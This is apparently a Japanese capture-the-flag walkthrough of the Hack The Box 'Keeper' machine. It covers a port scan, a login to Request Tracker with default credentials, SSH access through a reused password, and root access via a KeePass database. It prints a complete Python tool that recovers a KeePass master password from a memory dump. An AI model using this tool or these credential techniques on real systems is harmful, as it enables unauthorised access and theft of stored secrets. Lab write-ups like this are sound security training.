![見出し画像](https://assets.st-note.com/production/uploads/images/172808442/rectangle_large_type_2_50b78c7fb917911e940c9dbd422cded2.png?width=1200)
HTB Keeper
マシン情報
・OS
Linux
・難易度
EASY 2.9
・リリース日
2023/8/12
・学べること
ポート探索
nmap ⇒ 22/80
$ nmap -sCV -A -v -p- --min-rate 5000 10.10.11.227 -oN nmap_result.txt
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 35:39:d4:39:40:4b:1f:61:86:dd:7c:37:bb:4b:98:9e (ECDSA)
|_ 256 1a:e9:72:be:8b:b1:05:d5:ef:fe:dd:80:d8:ef:c0:66 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: nginx/1.18.0 (Ubuntu)
searchsploit openssh ⇒ 該当なし
└─$ searchsploit openssh
--------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
--------------------------------------------------------------------- ---------------------------------
Debian OpenSSH - (Authenticated) Remote SELinux Privilege Escalation | linux/remote/6094.txt
Dropbear / OpenSSH Server - 'MAX_UNAUTH_CLIENTS' Denial of Service | multiple/dos/1572.pl
FreeBSD OpenSSH 3.5p1 - Remote Command Execution | freebsd/remote/17462.txt
glibc-2.2 / openssh-2.3.0p1 / glibc 2.1.9x - File Read | linux/local/258.sh
Novell Netware 6.5 - OpenSSH Remote Stack Overflow | novell/dos/14866.txt
OpenSSH 1.2 - '.scp' File Create/Overwrite | linux/remote/20253.sh
OpenSSH 2.3 < 7.7 - Username Enumeration | linux/remote/45233.py
OpenSSH 2.3 < 7.7 - Username Enumeration (PoC) | linux/remote/45210.py
OpenSSH 2.x/3.0.1/3.0.2 - Channel Code Off-by-One | unix/remote/21314.txt
OpenSSH 2.x/3.x - Kerberos 4 TGT/AFS Token Buffer Overflow | linux/remote/21402.txt
OpenSSH 3.x - Challenge-Response Buffer Overflow (1) | unix/remote/21578.txt
OpenSSH 3.x - Challenge-Response Buffer Overflow (2) | unix/remote/21579.txt
OpenSSH 4.3 p1 - Duplicated Block Remote Denial of Service | multiple/dos/2444.sh
OpenSSH 6.8 < 6.9 - 'PTY' Local Privilege Escalation | linux/local/41173.c
OpenSSH 7.2 - Denial of Service | linux/dos/40888.py
OpenSSH 7.2p1 - (Authenticated) xauth Command Injection | multiple/remote/39569.py
OpenSSH 7.2p2 - Username Enumeration | linux/remote/40136.py
OpenSSH < 6.6 SFTP (x64) - Command Execution | linux_x86-64/remote/45000.c
OpenSSH < 6.6 SFTP - Command Execution | linux/remote/45001.py
OpenSSH < 7.4 - 'UsePrivilegeSeparation Disabled' Forwarded Unix Dom | linux/local/40962.txt
OpenSSH < 7.4 - agent Protocol Arbitrary Library Loading | linux/remote/40963.txt
OpenSSH < 7.7 - User Enumeration (2) | linux/remote/45939.py
OpenSSH SCP Client - Write Arbitrary Files | multiple/remote/46516.py
OpenSSH/PAM 3.6.1p1 - 'gossh.sh' Remote Users Ident | linux/remote/26.sh
OpenSSH/PAM 3.6.1p1 - Remote Users Discovery Tool | linux/remote/25.c
OpenSSHd 7.2p2 - Username Enumeration | linux/remote/40113.txt
Portable OpenSSH 3.6.1p-PAM/4.1-SuSE - Timing Attack | multiple/remote/3303.sh
--------------------------------------------------------------------- ---------------------------------
searchsploit nginx ⇒ 該当なし
1.20.0でDOSの脆弱性がありますが、フラグ取得とは関係ないので該当なし。
└─$ searchsploit nginx
--------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
--------------------------------------------------------------------- ---------------------------------
Nginx (Debian Based Distros + Gentoo) - 'logrotate' Local Privilege | linux/local/40768.sh
Nginx 0.6.36 - Directory Traversal | multiple/remote/12804.txt
Nginx 0.6.38 - Heap Corruption | linux/local/14830.py
Nginx 0.6.x - Arbitrary Code Execution NullByte Injection | multiple/webapps/24967.txt
Nginx 0.7.0 < 0.7.61 / 0.6.0 < 0.6.38 / 0.5.0 < 0.5.37 / 0.4.0 < 0.4 | linux/dos/9901.txt
Nginx 0.7.61 - WebDAV Directory Traversal | multiple/remote/9829.txt
Nginx 0.7.64 - Terminal Escape Sequence in Logs Command Injection | multiple/remote/33490.txt
Nginx 0.7.65/0.8.39 (dev) - Source Disclosure / Download | windows/remote/13822.txt
Nginx 0.8.36 - Source Disclosure / Denial of Service | windows/remote/13818.txt
Nginx 1.1.17 - URI Processing SecURIty Bypass | multiple/remote/38846.txt
Nginx 1.20.0 - Denial of Service (DOS) | multiple/remote/50973.py
Nginx 1.3.9 < 1.4.0 - Chuncked Encoding Stack Buffer Overflow (Metas | linux/remote/25775.rb
Nginx 1.3.9 < 1.4.0 - Denial of Service (PoC) | linux/dos/25499.py
Nginx 1.3.9/1.4.0 (x86) - Brute Force | linux_x86/remote/26737.pl
Nginx 1.4.0 (Generic Linux x64) - Remote Overflow | linux_x86-64/remote/32277.txt
PHP-FPM + Nginx - Remote Code Execution | php/webapps/47553.md
--------------------------------------------------------------------- ---------------------------------
ポート80探索
Web画面アクセス
リンクをクリックするとエラーとなり、
IPではなく、名前指定する必要があるようです。
![](https://assets.st-note.com/img/1737901334-6aeIiPJf5MQRCTm7rL2zEqos.png)
$ echo "10.10.11.227 \tkeeper.htb tickets.keeper.htb" | sudo tee -a /etc/hosts
しかし、Bad Gatewayが表示される
![](https://assets.st-note.com/img/1737901560-o3qwZcTUHaIniyFR59uEBCeA.png?width=1200)
ログイン画面表示
数日後にもう一度試したところログイン画面が表示されました。
![](https://assets.st-note.com/img/1738329239-B4hKnoDIbGiU5Ozs86dcMPlt.png?width=1200)
Request Trackerとは
Request Tracker(RT)は、オープンソースのチケット管理システムで、主にタスク管理、サポートリクエストの追跡、バグトラッキングなどに使用されます。開発したのはBest Practical Solutionsで、企業や組織がサポート業務や問い合わせ対応を効率的に管理できるように設計されています。
Request Trackerのインストール手順を確認 ⇒ 初期パスワード入手
サードパーティのサービスを使っている場合、インストール手順を調べることで管理者画面や初期パスワード等がわかることがあります。
初期ユーザーネームとパスワードでブラウザでログインする。
ユーザネーム: root
パスワード: password
ログイン画面で入力するとログインできました。
![](https://assets.st-note.com/img/1738331550-U2wCg1GELQ4fcZIadOX7FBYJ.png?width=1200)
探索 ⇒ ユーザ一覧を確認 ⇒ メモ欄に、、、
Adminメニューに「ユーザー」の管理画面がありました。
![](https://assets.st-note.com/img/1738331655-DzcoFxv06KZVERY8BQ1WuyN7.png)
root以外にlnorgaardというユーザがいるようです。
![](https://assets.st-note.com/img/1738331742-5YQcWspVSGHug4UzatFb3wAi.png)
詳細画面に入ると、、、
パスワードと思われる記載が。
![](https://assets.st-note.com/img/1738331814-YfW1nTv4wbAr96t8pzhDXKcq.png?width=1200)
侵入
ssh
先程入手したユーザ/パスワードをsshで試してみる。
└─$ ssh lnorgaard@10.10.11.227
lnorgaard@10.10.11.227's password:
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-78-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
You have mail.
Last login: Tue Aug 8 11:31:22 2023 from 10.10.14.23
lnorgaard@keeper:~$
入れました。
※先程入手したのはあくまでもRequestTrackerのユーザ情報ですが、
同じ認証でログインできたということは
SSHでも使いまわしをしているということになります
user.txt
lnorgaard@keeper:~$ cat user.txt
Plivilege Escalation
RT30000.zipを取得
lnorgaard@keeper:~$ ls
RT30000.zip user.txt
lnorgaard@keeper:~$ python3 -m http.server 8080
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
$ wget http://10.10.11.227:8080/RT30000.zip
--2025-01-31 23:19:43-- http://10.10.11.227:8080/RT30000.zip
10.10.11.227:8080 に接続しています... 接続しました。
HTTP による接続要求を送信しました、応答を待っています... 200 OK
長さ: 87391651 (83M) [application/zip]
`RT30000.zip' に保存中
RT30000.zip 100%[====================================>] 83.34M 350KB/s 時間 4m 15s
2025-01-31 23:23:59 (335 KB/s) - `RT30000.zip' へ保存完了
解凍 ⇒ keepassのメモリダンプ
unzipしてみるとdmpファイルがあります。
ファイル名を調べて見るとkeepassというパスワード管理ツールのもののようです。
$ ls
KeePassDumpFull.dmp
解析方法を調べているとKeePassに脆弱性があったことがわかりました。
脆弱性の内容としてはKeePassのマスターパスワードがRAM上に残ってしまうとのこと。
![](https://assets.st-note.com/img/1738493250-aKl05bnrUE3ySDtsuTmZH4ck.png?width=1200)
POC ⇒ C#のためソースコード分析
dmpファイルを解析してKeePassのパスワードを抽出するPOCがありますが、C#で作られています。
そのためソースコードを解析してLinuxで動くようにしたいと思います。
ボリュームとしては幸いにも200行もありません。
①使い方
⇒dmpファイルのパスを引数
// usage:
// dotnet run PATH_TO_DUMP [PATH_TO_PWDLIST]
②パスワードの目印
⇒● 0xCF 0x25
●を見つけると解析用のバッファに●を追加してiを加算して次を読み飛ばす
while ((bytesRead = fs.Read(buffer, 0, buffer.Length)) > 0)
{
for (var i = 0; i < bytesRead - 1; i++)
{
// ● = 0xCF 0x25
if (buffer[i] == 0xCF && buffer[i + 1] == 0x25)
{
currentStrLen++;
i++;
debugStr += passwordChar;
}
③目印を見つけた後
⇒2byte読み込み文字列に変換している
例) character が 0x61 0x00 だったら strChar には a が格納される
else
{
if (currentStrLen == 0) continue;
currentStrLen++;
string strChar;
try
{
var character = new[] { buffer[i], buffer[i + 1] };
strChar = System.Text.Encoding.Unicode.GetString(character);
}
catch
{
continue;
}
④その後の処理
⇒正規表現でパスワードとしてただしいもののみリストに追加している
AllowedCharsは ^[0x20-0xFF]+$
ASCII 文字 (0x20-0x7E)
英数字: A-Z a-z 0-9
記号: !"#$%&'()*+,-./:;<=>?@[\]^_{|}~
スペース ( )
拡張 ASCII (0x80-0xFF)
ラテン文字 (é, ü, ñ, etc.)
特殊記号 (©, ®, ±, etc.)
そして、currentStrLenとdebugStrをリセットしていることから●の後の1文字のみパスワードということのようです。
var isValid = Regex.IsMatch(strChar, AllowedChars);
if (isValid)
{
// Convert to UTF 8
if (!candidates.ContainsKey(currentStrLen))
{
candidates.Add(currentStrLen, new HashSet<string> { strChar });
}
else
{
if (!candidates[currentStrLen].Contains(strChar))
candidates[currentStrLen].Add(strChar);
}
debugStr += strChar;
Console.WriteLine($"Found: {debugStr}");
}
currentStrLen = 0;
debugStr = "";
}
Pythonで書き直して実行 ⇒ それっぽいのが表示された
pythonで書き直したソースが下記です。
import re
import sys
import os
from collections import defaultdict
def is_valid_char(char):
return bool(re.match(r'^[\x20-\xFF]+$', char))
def read_memory_dump(file_path, buffer_size=524288):
candidates = defaultdict(set)
current_str_len = 0
debug_str = ""
password_char = "●"
with open(file_path, 'rb') as f:
while chunk := f.read(buffer_size):
i = 0
while i < len(chunk) - 1:
if chunk[i] == 0xCF and chunk[i + 1] == 0x25:
current_str_len += 1
i += 2
debug_str += password_char
else:
if current_str_len == 0:
i += 1
continue
current_str_len += 1
try:
char = chunk[i:i+2].decode('utf-16-le')
except UnicodeDecodeError:
i += 1
continue
if is_valid_char(char):
candidates[current_str_len].add(char)
debug_str += char
print(f"Found: {debug_str}")
current_str_len = 0
debug_str = ""
i += 1
return candidates, password_char
def generate_pwd_list(candidates, pwd_list, unknown_char, pwd="", prev_key=0):
for key in sorted(candidates.keys()):
while key != prev_key + 1:
pwd += unknown_char
prev_key += 1
prev_key = key
if len(candidates[key]) == 1:
pwd += next(iter(candidates[key]))
continue
for val in candidates[key]:
generate_pwd_list(
{k: v for k, v in candidates.items() if k > key},
pwd_list,
unknown_char,
pwd + val,
prev_key
)
return
pwd_list.append(pwd)
def main():
if len(sys.argv) < 2:
print("Please specify a file path as an argument.")
return
file_path = sys.argv[1]
if not os.path.exists(file_path):
print("File not found.")
return
pwd_list_path = sys.argv[2] if len(sys.argv) >= 3 else ""
candidates, password_char = read_memory_dump(file_path)
print("\nPassword candidates (character positions):")
print(f"Unknown characters are displayed as \"{password_char}\"")
print(f"1.: {password_char}")
combined = password_char
count = 2
for key in sorted(candidates.keys()):
while key > count:
print(f"{count}.: {password_char}")
combined += password_char
count += 1
print(f"{key}.: ", end="")
if len(candidates[key]) > 1:
combined += "{"
combined += ", ".join(candidates[key])
if len(candidates[key]) > 1:
combined += "}"
print(", ".join(candidates[key]))
count += 1
print(f"Combined: {combined}")
if pwd_list_path:
pwd_list = []
generate_pwd_list(candidates, pwd_list, password_char)
with open(pwd_list_path, "w", encoding="utf-8") as f:
f.write("\n".join(pwd_list))
print(f"{len(pwd_list)} possible passwords saved in {pwd_list_path}. Unknown characters indicated as {password_char}")
if __name__ == "__main__":
main()
実行したところパスワードが表示されました。
ただ、一部ラテン語のような文字が混じっています。
dgrød med fløde
$ python3 keepass-dumper.py KeePassDumpFull.dmp
(省略)
Password candidates (character positions):
Unknown characters are displayed as "●"
1.: ●
2.: _, =, -, I, ', ], Ï, `, ø, §, A, M, l, ,, c, :
3.: d
4.: g
5.: r
6.: ø
7.: d
8.:
9.: m
10.: e
11.: d
12.:
13.: f
14.: l
15.: ø
16.: d
17.: e
Combined: ●{_, =, -, I, ', ], Ï, `, ø, §, A, M, l, ,, c, :}dgrød med fløde
linux用のツールとしてGitHubにも公開しています。
入力 ⇒ 失敗
zipファイルに含まれていたkbdxファイルのパスワードとして入力してみましたが開きませんでした。
![](https://assets.st-note.com/img/1738497863-vYusIdLD3UQCRO87t9g25X4V.png?width=1200)
調べると料理の名前らしく正式名称は別のようです。
正式名称⇒rødgrød med fløde
![](https://assets.st-note.com/img/1738498012-K7Elp1wu4NBbqGL23tVZFQgf.png?width=1200)
正式名称で再チャレンジ ⇒ 開いた
KeePassのGUIの左にカテゴリーあるので1つずつ見ていくと[Network]にrootユーザがPuTTYで接続するときの鍵情報がありました。
![](https://assets.st-note.com/img/1738498284-Ux8IJ9u7sfaLlDBceC35hz2T.png?width=1200)
Puttyの鍵をOpenSSH用に変換
①まずエディタに鍵情報を貼り付けて保存
![](https://assets.st-note.com/img/1738499263-i12EP67FGD9JZLuYQXWqKzvj.png)
②OpenSSHの秘密鍵に変換
$ puttygen putty.ppk -O private-openssh -o id_rsa
③適切な権限を付与
$ chmod 600 id_rsa
SSH
$ ssh root@10.10.11.227 -i id_rsa
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-78-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
You have new mail.
Last login: Tue Aug 8 19:00:06 2023 from 10.10.14.41
root@keeper:~# id
uid=0(root) gid=0(root) groups=0(root)